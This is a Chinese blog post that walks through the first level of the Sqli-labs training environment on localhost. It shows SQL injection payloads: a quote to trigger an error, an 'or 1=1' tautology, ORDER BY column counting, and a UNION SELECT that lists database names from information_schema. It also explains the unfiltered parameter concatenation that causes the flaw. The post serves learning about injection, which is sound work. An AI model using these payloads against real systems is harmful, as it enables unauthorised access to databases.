知足常乐

日常学习的记录与分享

Sqli-labs Less1

Less-1

键入

http://127.0.0.1/sqli-labs-master/Less-1/?id=1′

发现如下报错 信息

《Sqli-labs Less1》

我们可以看到提交到sql中的1’在经过sql语句构造后形成 ‘1” LIMIT 0,1,多加了一个 ‘

尝试 ‘or 1=1–+

此时构造的sql语句就成了

Select ****** where id=’1’or 1=1–+’ LIMIT 0,1

《Sqli-labs Less1》

可以看到正常返回数据。

此处可以利用order by (按某一属性排序)去判断他的属性个数

‘order by 4–+ 报错

《Sqli-labs Less1》

锁定他的属性个数为3个

最后从源代码中分析下为什么会造成注入?

Sql语句为sql=”SELECTFROMusersWHEREid=sql=”SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1″;

Id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交 ‘or 1=1–+,直接构造的sql语句就是

SELECT * FROM users WHERE id=’1’or 1=1–+’ LIMIT 0,1

这条语句因or 1=1 所以为永恒真。

判断注入点类型后 我们可以使用联合查询去获得你想要的数据库信息

id=-1’union select 1,2,3–+  判断插入可插入的位置  可在2或3处更改 爆破数据库信息

《Sqli-labs Less1》

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

从information_schema.schemata表中查数据库名称
《Sqli-labs Less1》
点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注